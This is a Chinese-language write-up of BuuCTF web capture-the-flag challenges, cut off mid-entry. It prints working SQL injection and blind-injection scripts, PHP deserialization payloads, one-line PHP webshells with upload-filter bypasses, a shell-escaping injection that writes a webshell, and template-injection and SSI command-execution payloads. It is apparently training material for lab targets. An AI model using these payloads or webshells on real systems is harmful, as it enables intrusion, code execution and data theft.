前言:2023 年的暑假,决定要成为 CTF 的 Web 高手,于是尝试猛刷 BuuCTF 上的题目,目标是 AK 掉 BuuCTF 上的 Web 题。由于 BuuCTF 上的题目较多,所以只挑部分题目写 wp(狠狠地偷懒。
[MRCTF 2020] Ez_bypass
打开靶机可以直接看到源码。可知要分别通过 get 方式获取 id 和 gg 的值并比较它们的 md5 值是否相等,然后再通过 post 方式得到非数字的 passwd 值并与’1234567’比较判断是否相等。首先由于 php 是弱类型比较,所以 id 和 gg 的问题可以通过 md5 碰撞来完成,不过也可以利用 php 的比较不能处理数组的特性来直接绕过 即:
?id[]=111&gg[]=222
可以看到第一步已经完成了,接下来是解决 passwd 的问题。既要满足 passwd=1234567,又要让 passwd 不是数字,那就在 1234567 后面补一个字符就好了。即:passwd=1234567a
由于 php 是弱类型比较,所以此时 passwd==1234567 成立
拿到 flag
[网鼎杯 2020] 青龙组 AreUSerialz 1
打开图片就可以看出是一道反序列化题目。去掉不需要看的_construct 和 write 函数,只看其余的函数以及主函数可以知道当 op=2 时会调用 read 函数来读取 file_name 文件的内容,那么让 file_name=’flag.php’即可。所以构造出 poc:
<?php include("flag.php"); class FileHandler { public $op; public $filename; public $content; } $a=new FileHandler; $a->op=2; $a->filename='flag.php'; $a->content=''; $b=serialize($a); echo $b; ?>
运行后得到需要的 payload:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
由主函数可以知道变量 str 是可控的,所以最终 payload 拼接好后是:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
查看源码得到 flag
[极客大挑战 2019] PHP
打开靶机就提示了要找网站的备份文件,直接用 dirsearch 扫一下
发现敏感文件 www.zip
下载并解压后得到几个文件,其中 flag.php 直接打开看不到什么东西
从 index.php 中可以看到上面这串代码,表示通过 GET 方式得到 select 的值并将其反序列化。说明可以通过传入序列化后的代码作为 select 的值,让程序将 select 反序列化后将会执行我们传入的代码,从而实现任意代码执行(反序列化漏洞)
接着看 class.php,由代码可知需要利用 construct 函数分别给变量 username 和 password 赋值为 admin、100,同时要防止调用 wakeup 函数导致 username 被重新赋值成 guest。于是构造出 poc:
<?php class Name{ private $username = 'admin'; private $password = '100'; } $a=new Name(); echo serialize($a); ?>
运行程序得到序列化后的结果:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
由于需要绕过 wakeup 函数,所以利用 wakeup 函数的一个漏洞:当序列化后的字符中标明属性数量的值与实际属性数量不一致时会导致不触发 wakeup 函数,所以此处将”Name” 后面的 2 改为其它值(此处改为 3)即可绕过 wakeup 函数。同时由于序列化后会把原本用于表示变量的 private 属性的 %00 字符屏蔽掉,所以要在序列化结果中的变量前补上,于是原先的序列化结果改为:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
已知可控变量是 select,所以最终的 exp 是:
?select= O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
[极客大挑战 2019] BuyFlag
打开靶机后通过 MENU 菜单访问到 pay.php 界面,可以看到想要得到 flag 首先需要自己的身份是 CUIT 的学生,然后需要正确的密码,同时需要 100000000MONEY 来购买 flag。一步步来
查看页面源码可以看到一段注释内容,提示通过 POST 方式得到 password 的值,且要让 password 非数字同时等于 404,由于 php 是弱比较类型,所以让 password 为 404a 即可满足以上两个要求
使用 Burpsuit 工具抓包可以看到请求包中的 cookie 值为 user=0。可以想到令 user=1 即可表示自己身份为 CUIT 的 student。最后不要忘了给 MONEY 赋值为 100000000
用 Burpsuit 抓包后改包为以上值后发送请求包
页面变化,提示身份、密码都对了,但 MONEY 值太长了。于是将 100000000 改用科学计数法表示为 1e9
重新发送请求包,成功 buy 到 flag
[极客大挑战 2019] –SQL 注入系列
[EasySQL]
打开靶机看见登录界面,直接尝试用 order by [数字]#来查看能注入的列。数字为 1-3 的时候说用户名和密码错误,数字为 4 时页面报错,说明列数为 3。(ps. ‘#’字符要用对应的 url 编码 %23 来表示,不然会报错。一些常见 url 编码:‘ ‘ ’——%27;空格 ——%20;‘ # ’——%23。
?username=1&password=1%27order%20by%203%23
?username=1&password=1%27order%20by%204%23
知道为三列后,用 union 联合查询语句来查看列内容(union select 1,2,3#) 即可得到 flag
?username=1&password=1%27union%20select%201,2,3%23
[LoveSQL]
这道题一开始解题步骤和上面一样,不过使用 union select 1,2,3# 时出现不同结果
从图片可知 2、3 列存在注入点。于是继续用联合查询语句进行注入,先从第 2 列开始查询
?username=1&password=1'union select 1,group_concat(schename_name),3 from information_schema.schemata %23
发现存在字符重叠,于是换第 3 列进行查询
?username=1&password=1'union select 1,2,group_concat(schema_name) from information_schema.schemata %23
查到几个数据库名,逐一查询可知 flag 是在 geek 数据库中,此处便只以 geek 的查询作实例。现在尝试查询 geek 数据库中的表名
?union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23
提示了 password 是其中的内容,逐一尝试可知是在 l0ve1sq1 中(由题目名字也可以猜到),使用尝试从中查询 password
?union select 1,2,group_concat(password) from geek.l0ve1sq1 %23
找到 flag
[BabySQL]
进入题目可以看见提示有过滤,经过测试可以发现存在对 or、by、union、select、from、where 字符的过滤,于是用双写来绕过 (例:or 写成 oorr;union 写成 ununionion)
?oorrder bbyy 4%23
//查询列数
?ununionion seselectlect 1,2,3%23
//查询可注入的列
?ununionion seselectlect 1,2,group_concat(schema_name) frofromm infoorrmation_schema.schemata%23
//查询库名
?ununionion seselectlect 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_name=geek%23
//查询表名
由题目 BabySQL 可以猜到要查 b4bsql 表
?ununionion seselectlect 1,2,group_concat(column_name) from information_schema.columns whewherere table_name='b4bsql'%23
//查询b4bsql表中的列
得到列名后,查询其中的 password 列得到 flag
?ununionion seselectlect 1,2,group_concat(passwoorrd) frofromm geek.b4bsql%23
[HardSQL]
尝试找注入点,发现 union 联合查询被 ban 了,于是尝试用 updatexml 语句来进行注入
?username=1&password=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23
//查询库名
?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23
//查询表名
?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23
//查询列名
?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23
//查询password列的内容
发现字符串过长,部分没显示,于是用 right 函数进行从右向左查询,得到剩余字符
?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)),0x7e),1))%23
//从右向左查询20个字符
得到剩余的字符后,将两个结果拼接起来即为完整的 flag
[GYCTF 2019] Blacklist
用 order by 2;# 和 order by 3;# 后判断列数为 2,于是尝试用联合注入查询,但发现大部分查询语句被 ban 了。
尝试用堆叠注入 1′;show tables;# // 查询数据库名
大部分查询语句被 ban 了,于是用 handler 语句进行查询
1';handler FlagHere open;handler FlagHere read first;#
[CISCN2019] Hack World
尝试多种注入方法,都被 ban 了,输入 1’发现回显 bool (),推测是 bool 盲注,于是写脚本:
import requests #地址 url = "http://c4a12af1-1130-4825-a153-a480c9bea112.node4.buuoj.cn:81/index.php" result = "" num = 0 for i in range(1,60): if num == 1: break for j in range(32,128): payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i,j) print(str((i - 1) * 96 + j - 32) + ":~" + payload + "~") data = { "id": payload, } r = requests.post(url, data=data) r.encoding = r.apparent_encoding if "Hello" in r.text: x = chr(j) result += str(x) print(result) break if "}" in result: print(result) num = 1 break
传马系列
[极客大挑战 2019] Knife
题目提示了一段源码 “eval($_POST[“Syc”]);”,这是个很典型的一句话木马。eval 表示执行括号里的内容(类似的还有 exec 以及用于执行系统命令的 system),而 $_POST [“Syc”] 表示通过 POST 的方式得到变量 Syc 的值(也可以是 $_GET,即通过 get 方式得到变量的值),所以这句代码的意思是:执行 (eval) 变量 Syc 的值,其中 Syc 的值通过 POST 方式得到。
所以只要通过 POST 方式把想要执行的命令作为 Syc 的值传入,即可实现任意命令执行。
有两个思路:1. 直接用 brupsuit 或 hackbar 抓包后改为 POST 请求包并在包中加入 Syc=[要执行的命令](比如 ls、ls /、cat flag.php、cat /flag.php)2. 用中国菜刀或者蚁剑等木马工具连接变量 Syc,如图:
连接成功后可以通过蚁剑来直接访问靶机的文件、服务器内部,也可以通过蚁剑进入终端寻找 flag
[ACTF2020 新生赛] Upload
从这道题开始了解传马题的基本解题思路。传马题的一个明显特征是文件上传功能,当页面有明显的 “文件上传” 或题目标题带 upload、上传等字眼时,往往意味着需要通过上传木马文件来获取 shell(可以先把 shell 理解成上一道题提到的可控变量 Syc),通过 shell,我们可以执行任意命令,所以拿到 shell 往往意味着我们掌控了服务器(当然,拿到的 shell 有可能没有较高的权限 —— 我们的目标是拿到 ROOT 或是与 ROOT 有同等权限的 shell—— 这就需要学习提升权限(提权)的方法了)。
所以对于传马题,我们的思路就是想办法绕过可能存在的过滤来传入带有可控变量的木马文件并让它能够被解析、执行。
最基础的 php 一句话木马:
<?php @eval($_POST["shell"]);//POST也可以为GET ?>
保存为.php 后缀文件后,即是一个最基础的 php 木马了。接下来开始看题目。
直接尝试上传木马文件 attack.php 发现有提示只能上传后缀为 jpg、png、gif 的文件,说明这个上传系统有对上传的文件的后缀进行检测并只允许处于白名单中的文件通过(jpg、png、gif)。但要注意,这个提示是以弹窗出现的,很可能意味着这只是个前端的检测、过滤,所以通过把文件后缀改为.jpg 即可通过检测。但是.jpg、.png 等后缀文件无法被作为 php 文件执行(意味着我们写的一句话木马起不了作用)。
我们可以把木马文件后缀改为.jpg,然后在确认上传时通过 brupsuit 来抓包(在抓到包之前,浏览器前端已经对文件后缀做了检测,后缀为.jpg,允许上传),并将包中的 attack.jpg 改为 attack.php 或 attack.phtml (.phtml、.php3、.php5 等后缀文件也可通过蚁剑连接),即可让 attack.php 被成功上传进服务器。
可以看到提示 Upload Success! 并且显示出了文件上传到的地址,接下来便用蚁剑来连接该文件即可。(url 地址填木马所在地址,连接密码即为文件里写好的可控变量)
[MRCTF 2020] 你传你?呢
遇到上传,直接尝试传马
有检测,而且很可能是后端的,意味着不能像上一道题那样通过 brupsuit 改包来绕过。
尝试上传.jpg 文件,允许上传。
随便访问一个不存在的 url,得到回显,得知服务器用的是 Apache/2.4.10。在低于 2.3.8 版本的 Apache 配置文件中有个 AllowOverride 指令默认为 All,即允许.htaccess 文件中的一些指令可以覆盖主配置文件中的一些设置。(.htaccess 文件是 Apache 分布式配置文件的默认名称)但在更高的版本里,AllowOverride 默认为 None,.htaccess 文件会失效。这道题的靶机配置里,AllowOverride 为 All。
经过尝试可知.htaccess 文件可以被成功上传(这道题是以黑名单来过滤,即 php、php3、php5、phtml 等后缀不被允许,而其它的后缀不受影响)所以我们的思路是:通过上传.htaccess 文件,来让其它后缀文件也可以被作为 php 文件解析、执行。下面是一个.htaccess 文件的实例:
<FilesMatch "jpg"> //匹配到jpg后缀时(jpg也可以换成其它后缀:.png/.gif SetHandler application/x-httpd-php //调用x-httpd-php来解析该文件 </FilesMatch>
上传时注意服务器会对请求包中的 Content-Type(文件类型)做检测过滤,.htaccess 默认的 Content-Type 类型为 application/octet-stream,不被允许,所以要改为 image/jpeg(jpg 的文件类型)。
可见.htaccess 已被成功上传,接下来上传一个.jpg 后缀的木马文件
此时由于.htaccess 的配置覆盖,不管是直接访问该文件还是通过蚁剑连接该文件,它都会被作为 php 文件解析。所以蚁剑连接的 url 地址即为 [域名]/upload/020…d99/attack.jpg,连上后即可在服务器找到 flag
[SUCTF 2019] Check In
多次尝试可以知道服务器会对文件名、文件内容都做检测。其中,文件内容被匹配发现为脚本文件时就不被允许上传。这里可以在文件前加上 GIF89a 文件头来让服务器认为这是个 gif 文件。同时由于 <?php 会被检测,所以普通的一句话 php 木马不能上传,于是换用 javascript 的写法
GIF89a <script language='php'>@eval($_POST['shell']);</script>
文件上传成功,接下来就是想办法让它被作为脚本文件解析
此时用到的知识点是.user.ini 文件。创建一个名为.user.ini 的文件并添加一个 auto_prepend_file 配置(作用为指定一个文件在主文件被解析前先被解析)或者 auto_append_file 配置(作用为指定一个文件在主文件被解析后被解析)。通过这个配置,可以使用户访问 index.php(网站默认主页)后把指定文件一起作为脚本文件进行解析。所以构造一个.user.ini 文件:
GIF89a auto_prepend_file=shell.jpg
上传后,用蚁剑直接连 index.php 即可连上服务器
[BUUCTF 2018]Online Tool
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
这段代码实现用户输入 ip 地址,执行 nmap 命令
escapeshellarg 的作用是把字符串转码为可以在 shell 命令里使用的参数,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
escapeshellcmd () 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec () 或 system () 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ’ 和 ” 仅在不配对儿的时候被转义。
两个函数按 arg、cmd 的顺序放在一起会出现绕过漏洞,通过添加单引号实现绕过
//payload: ?host=' <?php @eval($_POST["shell"]);?> -oG shell.php '
连接一句话木马时根据提示添加沙箱路径即可,例如.cn:81/89dusd78219esa/shell.php
[安洵杯 2019] easy_web
留意到 img 值为 Base64,转码几次后知道编码过程是一次 ASCII Hex、两次 Base64
将 index.php 进行编码得到 TmprMlpUWTBOalUzT0RKbE56QTJPRGN3 作为 img 的值传入
得到 Base64 编码值,解密后得到 index.php 源码:
<?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img']))); $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixiï½ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>
审计源码知需要 MD5 碰撞,此处利用 payload:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
同时构造 POST 包和 cmd 命令:cmd=ca\t%20/f\l\a\g
得到 flag
[BJDCTF 2020] Cookie is so stable
进入 flag.php 文件看见输入框,感觉是 SSTI,输入 {{5*5}} 得到回显是 25,说明存在 SSTI 模板注入
接下来要判断是什么模板引擎
由插件判断是 PHP 语言,对应的常见模板引擎是 smarty、twig、Blade,逐一测试
此处附上各语言常见的模板引擎:
- Python:jinja2、mako、tornado、django
- PHP:smarty、twig、Blade
- Java:jade、velocity、jsp
直接输入注入语句会被过滤,通过 hint 提示可知注入点是在 cookie 处,多次测试后可知是 twig 模板引擎
[MRCTF 2020] Ezpop
题目源码:
<?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); } ?>
pop 链:include->append->invoke->get->toString->construct
Payload:
<?php class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php'; } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } $a=new Show(); $file='index.php'; $a->source=new Show(); $a->source->str=new Test(); $a->source->str->p=new Modifier(); echo url(serialize($a)); ?>
[BJDCTF 2020] The mystery of ip
点进 flag.php,打印了我的内网 ip,于是尝试添加 X-Forwarded-For: 127.0.0.1
回显证明可控,尝试测试注入;判断无 sql 注入,尝试 ssti 注入语句 {5*5},得到回显为 25,证明存在模板,而 php 模板引擎常见有 smarty、twig、Blade,这里通过 {config} 得到模板版本类型为 smarty
没有过滤,于是直接构造 payload:{system (‘cat /flag.php’)} 读取 flag
[WesternCTF 2018] shrine
进容器后得到源码,整理得到:
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
可以看到有一个 /shrine/ 路由,里面有 flask 模板,过滤了括号和 config,所以要通过 jinjia2 模板注入绕过过滤,访问其他内置对象来获取 config:通过访问 current_app (应用实例代表对象) 直接获取 config 中的 flag
//构造payload: /shrine/{{url_for.__globals__.current_app.config.FLAG}}
[安洵杯 2019] easy_serialize_php
读源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
可知可用上 extract 函数实现键名逃逸;首先读取 phpinfo 找提示
找到可能的 flag 文件
接着尝试利用 filter 过滤和 extract 覆盖实现键名逃逸读取文件
//构造Payload: _SESSION[flagphp]=;S:1:"1";S:3:"img";S:20:"ZDBnM19mMWFnLnBocA==";}
接着读 /d0g3_fllllllag
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
[NPUCTF 2020] ReadlezPHP
查看源码,找到文件 time.php
进去可知考点是 php 反序列化,源码如下:
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
构造 payload:
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "phpinfo()";
$this->b = "assert";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
echo(serialize($c));
尝试其他命令都不行,好像只能执行 assert (phpinfo ()),尝试 assert (system (‘whoami’)) 但回显只有时间没有所要的结果,怀疑输出被过滤;尝试反弹 shell 但是 bash 被 ban 了
//最终exp: /time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
最终在 phpinfo 中找到 flag
[De1CTF 2019] SSRF Me
将题目所给源码整理好:
#!/usr/bin/env python
# encoding=utf-8
from flask import Flask, request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secret_key = os.urandom(16) # 修正变量名拼写错误
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox):
os.mkdir(self.sandbox)
def Exec(self):
result = {'code': 500}
if self.checkSign():
if "scan" in self.action:
# 执行扫描操作
with open("./%s/result.txt" % self.sandbox, 'w') as tmpfile:
resp = scan(self.param)
tmpfile.write(resp if resp != "Connection Timeout" else "")
result['code'] = 200
if "read" in self.action:
# 读取扫描结果
with open("./%s/result.txt" % self.sandbox, 'r') as f:
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['msg'] = "Sign Error"
return result
def checkSign(self):
return getSign(self.action, self.param) == self.sign
@app.route("/geneSign")
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
return getSign("scan", param) # 固定 action 为 "scan"
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt", "r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secret_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check = param.strip().lower()
return check.startswith(("gopher", "file"))
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=False)
geneSign 路由通过 getSign 函数拼接 secret_key+param+action 并 md5 加密,而在 De1ta 路由中会调用 Task 对传入的 action、sign 进行处理
因此思路是通过 geneSign 路由传入 param 的值为 flag.txtread(后面加个 read 伪装成 action)
然后将 action 和 sign 通过 De1ta 路由传入
[BJDCTF 2020] EasySearch
dirsearch 扫出源码文件:
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
得知要让密码的 md5 值的前 6 位等于 6d0bc1,写一个 python 脚本跑出所需要的密码:
import hashlib
for i in range(100000000):
md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if md5[0:6] == '6d0bc1':
print(str(i)+':'+md5)
选一个用即可,此处用 2020666(出题人本意应该就是这个密码)
由源码可以知道之后会得到一个 url,所以用 BP 抓一下返回包
访问该地址
打印出了前面传入的用户名,由于 url 访问的文件是 shtml,所以联想到是 Apache SSI 命令执行漏洞
//构造POC: username=<!--#exec cmd="whoami"-->&password=2020666
访问新的 url,返回 www-data,说明 SSI 漏洞存在,开始找 flag,直接 ls 当前目录找不到,返回上一级目录能找到 flag 文件(想尝试直接写马,文件是创建了,但文件内容没成功写进去,不知道是不是有过滤,也可能是没权限写入)
cat ../flag_XXXXX 读取 flag
[WUSTCTF 2020] 颜值成绩查询
进题目看到成绩查询,测试发现可以用 ^ 异或
尝试异或注入可行,根据回显知是盲注,于是构造脚本:
import requests
url = "http://[URL]/?stunum="
database = ""
#爆数据库
payload1="1^(ascii(substr((select(database())),{},1))>{})^1"
#爆表——已知数据库名为ctf
payload2="1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"
#爆字段名——已知表名是flag
payload3 ="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1"
#爆值——flag存于ctf数据库、flag表、value字段中
payload4 = "1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1"
for i in range(1,10000):
low = 32
high = 128
mid = (low+high) // 2
while(low < high):
payload = payload1.format(i,mid) #爆数据库
#payload = payload2.format(i,mid) #爆表名
#payload = payload3.format(i,mid) #爆字段名
#payload = payload4.format(i,mid) #爆值
new_url = url + payload
response = requests.get(new_url)
if "Hi admin, your score is: 100" in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 128):
break
database += chr(mid)
print(database)
print(database)
最后可知 flag 存于 ctf 数据库、flag 表、value 字段中
[FBCTF 2019] RCEService
读题目源码:
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
尝试直接传入 {“cmd”:”ls”} 可以得到执行结果
由源码知道存在正则表达式过滤且 POST 也可以传 json 进去,所以尝试构造脚本利用 PCRE 回溯机制绕过正则表达式:
import requests
url = "http://a7c80bfb-9763-4b66-bae4-baa82bfa4ffe.node5.buuoj.cn:81/"
payload = '{"cmd":"[命令]","abc":"'+'a'*1000000+'"}'
res = requests.post(url,data={"cmd":payload})
print(res.text)
此时尝试直接以 {“cmd”:”cat index.php”} 输入命令是没用的,因为在源码中使用了 putenv 函数改变了当前的环境变量,所以需要使用命令的绝对路径来执行命令,例如构造 {“cmd”:”/bin/cat index.php”}
在根目录和当前目录都没有找到 flag 文件,尝试在源码给的环境变量”PATH=/home/rceservice/jail” 中来找,最后在 /home/rceservice 中找到 flag,使用 /bin/cat 来读取 flag
[0CTF 2016] piapiapia
dirsearch 扫除源码文件 www.zip,下载后进行审计
登录、注册没什么问题,主要是 update.php、class.php 和 profile.php
//profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));//思路:传入config.php作为photo,任意读取文件
?>
//update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
//通过数组绕过pre_match,从而不限制nickname的输入
